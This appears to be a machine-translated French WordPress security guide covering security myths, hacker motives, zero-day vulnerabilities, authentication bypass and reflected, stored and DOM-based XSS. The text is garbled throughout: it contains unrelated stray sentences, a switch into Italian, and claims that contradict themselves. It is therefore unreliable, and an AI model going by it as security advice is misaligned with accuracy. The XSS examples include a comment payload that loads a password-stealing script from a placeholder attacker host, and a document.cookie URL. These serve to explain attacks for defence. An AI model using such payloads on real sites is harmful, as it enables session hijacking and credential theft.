Sécurité WordPress: le Guide ultime

La sécurité de WordPress peut être intimidante, mais pas nécessairement. Dans ce guide complet de sécurité WordPress, nous avons simplifié les bases de la protection des sites WordPress afin que tout non – technicien puisse comprendre et protéger ses sites contre les pirates informatiques. Ce guide de sécurité WordPress est divisé en 10 sections faciles à comprendre. Chaque section vous guidera sur des aspects spécifiques de la sécurité WordPress. À la fin de ce guide, vous découvrirez les différents types de vulnérabilités, les raisons du piratage et tout sur la façon de protéger les utilisateurs individuels, du serveur au site WordPress.
Plongeons! Section 1 de ce guide: WordPress est – il sûr? WordPress est – il sûr? En bref, la réponse est oui. WordPress représente près de 40% de tous les sites Internet. L’une des principales raisons de la popularité de WordPress est qu’il s’agit d’une plateforme très sécurisée pour créer tout, des blogs aux grands magasins de commerce électronique. Y a – t – il des problèmes de sécurité avec wordpress? Bien que WordPress lui – même soit sûr, éviter les erreurs de sécurité de WordPress nécessite un peu d’effort de la part du propriétaire du site. En fait, le plus gros problème de sécurité de WordPress est ses utilisateurs. Le propriétaire du site peut éviter la plupart des attaques de piratage WordPress sur la plateforme avec un peu d’effort.
Ne t’inquiète pas, on va te protéger. Ce guide vous apprendra tout ce dont vous avez besoin pour protéger votre site Web. Il y a cinq choses que nous devons savoir avant de protéger notre site. Pourquoi les pirates informatiques attaquent – ils différents types de sites WordPress pirates informatiques types spécifiques de vulnérabilités WordPress comment empêcher les vulnérabilités WordPress comment déterminer la gravité de la vulnérabilité pourquoi les pirates informatiques devraient – ils attaquer mon site Web? C’est un problème de sécurité WordPress commun que vous pouvez résoudre dans le pire des cas
Je voudrais remercier le Rapporteur pour son excellent rapport. Cela ne signifie toutefois pas que tout le monde le fasse légalement et moralement. Même les plus petits sites Web, les hackers font des profits élevés. L’argent est tout ce dont ils ont besoin, mais certaines personnes apprécient le sentiment de pouvoir qu’elles ont acquis lorsqu’elles ont violé avec succès un site Web, mais la grande majorité des gens font des affaires uniquement pour de l’argent. Section 2: Découvrez quelques mythes de sécurité WordPress avant de continuer à lire le reste de ce guide de sécurité WordPress.
Vous trouverez beaucoup de conseils de sécurité WordPress qui circulent sur Internet, de la part de personnes bien intentionnées qui veulent vraiment vous aider. Malheureusement, certaines de ces astuces sont basées sur le mythe de sécurité de WordPress et n’ajoutent pratiquement aucune sécurité supplémentaire au site WordPress. En effet, certains \
La fréquence est mentionnée comme un mythe. Nombre de maux de tête causés par les mythes. Le mythe donne un faux sentiment de sécurité. Vous devriez cacher votre administrateur URL \ WP ou votre login \ WP (également connu sous le nom de cache Backend). L’idée derrière cacher un administrateur Wp est que les pirates informatiques ne peuvent pas déchiffrer ce qu’ils ne peuvent pas trouver. Si votre URL de connexion n’est pas une URL WordPress standard \ WP admin \, n’êtes – vous pas vulnérable à la violence? En fait, la plupart des caractéristiques de l’arrière – plan caché sont
Et le thème parfait et le numéro de version WordPress. Cependant, il y a des robots sans cerveau qui cherchent sur Internet des vulnérabilités connues dans le Code réel qui fonctionne sur votre site, de sorte que cacher le nom du sujet et le numéro de version WP ne vous protégera pas. 3. Vous devriez renommer votre répertoire de contenu WP le Répertoire de contenu WP contient vos plug – ins, sujets et dossiers de téléchargement de médias. Il y a beaucoup de bonnes choses et de code exécutable dans un répertoire, donc il est compréhensible que les gens veulent prendre l’initiative de protéger ce dossier. Malheureusement, changer le nom du contenu WP ajoutera une couche de sécurité supplémentaire au site, ce qui est le mythe de sécurité de WordPress. Il ne le fera pas. Nous pouvons facilement trouver le nom du Répertoire de contenu WP modifié en utilisant les outils de développement de navigateur. Dans la capture d’écran ci – dessous, nous pouvons voir que j’ai renommé le Répertoire de contenu de ce site Web en \ test \. Le changement de nom de répertoire n’ajoute aucune sécurité au site, mais il peut causer des conflits de chemin de répertoire \ contenu WP \ plug – in codé dur. Mon site n’est pas assez grand pour attirer l’attention des hackers sur ce mythe de sécurité WordPress qui rend de nombreux sites vulnérables aux attaques. Même si vous possédez un petit site avec peu de trafic, il est essentiel de protéger activement votre site. Même si vous possédez un petit site avec peu de trafic, il est essentiel de protéger activement votre site. Le fait est que votre site Web ou votre entreprise n’a pas besoin d’être grand pour attirer l’attention d’un attaquant potentiel. Les pirates informatiques ont encore la possibilité d’utiliser votre site Web comme un moyen de rediriger Certains visiteurs vers des sites malveillants, d’envoyer du spam à partir de serveurs de courrier, de propager des virus et même d’extraire B
Votre site Web sera l’un des millions de sites Web les plus visités chaque mois. De nombreux hackers attaquent votre site dans l’intention de l’infecter avec des logiciels malveillants. Les logiciels malveillants sont de petits morceaux de code qui peuvent être utilisés pour apporter des changements malveillants à un site Web. Si votre site Web est infecté par des logiciels malveillants, il est important d’être informé dès que possible. Chaque minute qu’un logiciel malveillant reste sur votre site, il peut causer plus de dommages à votre site. Plus le site est endommagé, plus il faut de temps pour le nettoyer et le restaurer. Il est essentiel de vérifier la santé du site Web en scannant régulièrement les logiciels malveillants. C’est pourquoi il est essentiel de continuer à vérifier l’état de santé du site Web en scannant les logiciels malveillants. Un hacker de ransomware pourrait vouloir attaquer votre site Web pour obtenir ransomware. Le ransomware signifie que lorsque le hacker contrôle votre site, il ne vous sera pas publié à moins que vous ne payiez des frais élevés. Le temps d’arrêt moyen pour les attaques de ransomware est de 9,5 jours. Combien cela vous coûtera – t – il de ne pas vendre pendant 10 jours? La rançon moyenne demandée par les pirates informatiques a fortement augmenté, passant de 294 $en 2015 à plus de 13 000 $en 2020. Grâce à ce mode de paiement, la criminalité en ligne n’a pas ralenti. Au fur et à mesure que ces communautés criminelles se développent, il devient de plus en plus important de protéger et de protéger adéquatement votre site Web. 4. Site corrompu certains hackers peuvent attaquer votre site pour le plaisir. Un piratage qui n’est pas si diabolique par nature est un site de diffamation. Ce sont généralement des enfants ou des jeunes qui commencent tout juste à jouer au piratage. Ils l’ont fait pour
Un hacker peut être utilisé pour effectuer des entrées malveillantes. Gardez à l’esprit que les hackers Web sont presque toujours automatisés. Pour cette raison, les hackers peuvent facilement accéder à un grand nombre de sites Web, presque en un clin d’oeil. Les hackers utilisent des outils spéciaux pour scanner les vulnérabilités connues sur Internet. Les hackers aiment les cibles faciles à attaquer, et avoir un site Web avec un logiciel qui exécute des vulnérabilités connues est comme donner aux hackers des instructions étape par étape pour accéder à votre site WordPress, serveur, ordinateur ou tout autre appareil connecté à Internet. Notre rapport mensuel de collecte des vulnérabilités WordPress couvre toutes les vulnérabilités dans WordPress Core, les plug – ins WordPress et les sujets de divulgation publique. Dans ces collections, nous partageons le nom du plug – in ou du sujet de vulnérabilité, la version touchée et le type de vulnérabilité. Qu’est – ce qu’une vulnérabilité de jour zéro? Une vulnérabilité de jour zéro est une vulnérabilité qui est divulguée publiquement avant qu’un développeur ne publie un correctif de vulnérabilité. En parlant de sécurité WordPress, il est important de comprendre la définition de la vulnérabilité de jour zéro. Comme la vulnérabilité a été divulguée au public, les développeurs n’ont pas eu le temps de la corriger. Cela a une grande influence sur votre plug – in et votre thème. Souvent, les chercheurs en sécurité découvrent les vulnérabilités et les divulguent en privé aux développeurs de l’entreprise qui possèdent le logiciel. Les chercheurs et les développeurs en sécurité conviennent que des détails complets seront publiés dès que le correctif sera disponible. Après la publication du correctif, la divulgation de la vulnérabilité peut être légèrement retardée afin de donner à un plus grand nombre de personnes le temps de mettre à jour les principales vulnérabilités en matière de sécurité. Cependant, si le développeur ne répond pas au chercheur
En ce qui concerne la sécurité ou l’absence de correctifs de vulnérabilité, les chercheurs peuvent divulguer publiquement des vulnérabilités afin de faire pression sur les développeurs pour qu’ils publient des correctifs. La divulgation publique des vulnérabilités et l’introduction apparente d’une journée zéro pourraient être contre – productives. Mais c’est le seul moyen pour les chercheurs de faire pression sur les développeurs pour qu’ils corrigent les bogues. Le projet zéro de Google a des lignes directrices similaires pour l’exposition aux vulnérabilités. Ils ont publié tous les détails de la fuite 90 jours plus tard. Si la vulnérabilité a été corrigée. N’importe qui peut le découvrir. Si un hacker découvre une vulnérabilité avant que le développeur ne publie le correctif, ce sera le pire cauchemar de l’utilisateur final… Zéro jour utilisé activement. Qu’est – ce qu’une vulnérabilité de jour zéro activement exploitée? Une vulnérabilité de jour zéro activement exploitée est ce à quoi elle ressemble. Il s’agit d’une vulnérabilité non corrigée que les pirates informatiques peuvent cibler, exploiter et exploiter activement. À la fin de 2018, les pirates informatiques exploitent activement de graves vulnérabilités WordPress dans le plug – in de conformité WP gdpr. Cette vulnérabilité permet aux utilisateurs non autorisés de modifier les paramètres d’inscription des utilisateurs du WP et de changer le nouveau rôle d’utilisateur par défaut de l’abonné à l’Administrateur, comme décrit dans la section suivante. Ces hackers ont découvert cette vulnérabilité avant le plug – in de conformité WP gdpr et les chercheurs en sécurité. Par conséquent, tout site Web qui a installé le plugin est une marque de commerce simple et garantie pour les cybercriminels. La meilleure façon de se protéger contre une vulnérabilité de jour zéro la meilleure façon de protéger un site Web contre une vulnérabilité de jour zéro est de désactiver et de supprimer le logiciel jusqu’à ce que la vulnérabilité soit corrigée. Heureusement, les développeurs du plug – in de conformité WP gdpr ont
Le lendemain de sa divulgation, il a rapidement publié un correctif pour cette vulnérabilité. Une vulnérabilité sans correctif rend votre site facile à cibler par des pirates informatiques. Vulnérabilité WordPress non validée et validée lorsque vous parlez de vulnérabilité WordPress, vous devez également comprendre deux autres termes. Non authentifié: une vulnérabilité WordPress non authentifiée signifie que n’importe qui peut l’exploiter. Vérifié: une vulnérabilité WordPress validée signifie qu’un utilisateur connecté est nécessaire pour exploiter cette vulnérabilité. Il est difficile pour un hacker d’exploiter une vulnérabilité qui nécessite un utilisateur authentifié, en particulier une vulnérabilité qui nécessite des privilèges d’administrateur. De plus, si un hacker possède déjà un ensemble d’identifiants d’administrateur, il n’a pas vraiment besoin d’exploiter la vulnérabilité pour créer de la confusion. Il y a un avertissement. Certaines vulnérabilités authentifiées n’ont besoin que d’exploiter la fonctionnalité au niveau de l’abonné. Si votre site permet à quelqu’un de s’inscrire, il n’y a pas beaucoup de différence entre cette vulnérabilité et une vulnérabilité non vérifiée. En parlant de vulnérabilité WordPress, il y a 21 types communs de vulnérabilité. Nous avons introduit chaque type de vulnérabilité WordPress. La vulnérabilité de contournement d’authentification permet à un attaquant de contourner les exigences d’authentification et d’exécuter des tâches qui sont généralement réservées aux utilisateurs authentifiés. L’authentification est le processus d’authentification de l’utilisateur. WordPress exige des utilisateurs qu’ils saisissent un nom d’utilisateur et un mot de passe pour s’authentifier. Contournement de l’authentification l’exemple d’application valide l’authentification en fonction d’un ensemble fixe de paramètres. Un attaquant peut modifier ces paramètres pour accéder à ce qui est normalement nécessaire
Les scripts croisés réfléchissants se produisent lorsqu’un script malveillant est envoyé au serveur dans une demande du client (une demande de l’utilisateur dans le navigateur), réfléchi par le serveur et exécuté par le navigateur. Supposons que votre favesite soit un exemple de réflexion de script inter – site. Com demande l’accès à certains contenus du site. Supposons que ce site n’encode pas correctement l’entrée de l’utilisateur. Un attaquant peut exploiter cette vulnérabilité en créant un lien malveillant et en le partageant avec un utilisateur de votre site. Courriels et messages sur les médias sociaux. Je suis ton préféré. L’outil com \ Cool attaqué utilise l’outil de raccourcissement d’URL pour rendre les liens malveillants non menaçants et très cliquables, yourfavesite. Com \ cool things. Cependant, lorsque vous cliquez sur le lien raccourci, le lien complet s’exécute à partir de votre navigateur de site. Com \ cool things? Q = quelque chose de cool Liens Une vulnérabilité de script xss stockée ou inter – site stockée permet à un hacker d’injecter du Code malveillant et de le stocker sur un serveur d’application Web. Exemple de script inter – site archivé un attaquant a trouvé votre site. Com permet aux visiteurs d’intégrer des balises HTML dans la section commentaires du site. Puis l’attaquant a créé un nouveau commentaire: excellent article! Voir un autre grand article . <\script&src=”http:bad-guys.compasswordstealingcode.js . Dopo aver fatto clic sul collegamento, verrai indirizzato a yourfavesite.com e lo script dannoso verrà riflesso nel tuo browser, consentendo yourfavesite.com di dirottare i cookie di sessione e yourfavesite.com account yourfavesite.com . Come prevenire lo scripting cross-site riflesso La regola n. 5 sul cheat sheet di prevenzione cross-scripting di OWASP è la codifica dell'URL prima di inserire dati non attendibili nei valori dei parametri URL HTML. Questa regola può aiutare a prevenire la creazione di una vulnerabilità XSS riflessa quando si aggiungono dati non attendibili nel valore del parametro HTTP GET. Remarque: la vulnérabilité xss reflétée invite les visiteurs à cliquer sur le lien de code malveillant pour l’exécuter. Les attaques xss stockées n’ont besoin que d’accéder aux pages qui contiennent des commentaires. Le Code malveillant est exécuté chaque fois que la page est chargée. Maintenant que notre voyou a ajouté ce commentaire, tous les futurs visiteurs de cette page seront exposés à ses scripts malveillants. Le script est hébergé sur le site Web de l’attaquant et peut détourner C
Basé sur Dom en envoyant l’URL suivante au nouvel utilisateur: http:\\yourfavesite.com\account?name= Alertes (document.cookie) Lorsque le nouvel utilisateur clique sur le lien, le navigateur envoie une demande: \ Account? Nom = Alertes (document.cookie) Un méchant. Com. Le site répondra en utilisant la page contenant le code JavaScript ci – dessus. Le navigateur du nouvel utilisateur crée un objet Dom pour la page qui contient des objets de document. L’emplacement contient une chaîne: http:\\www.bad-guys.com\account?name= Alertes (document.cookie)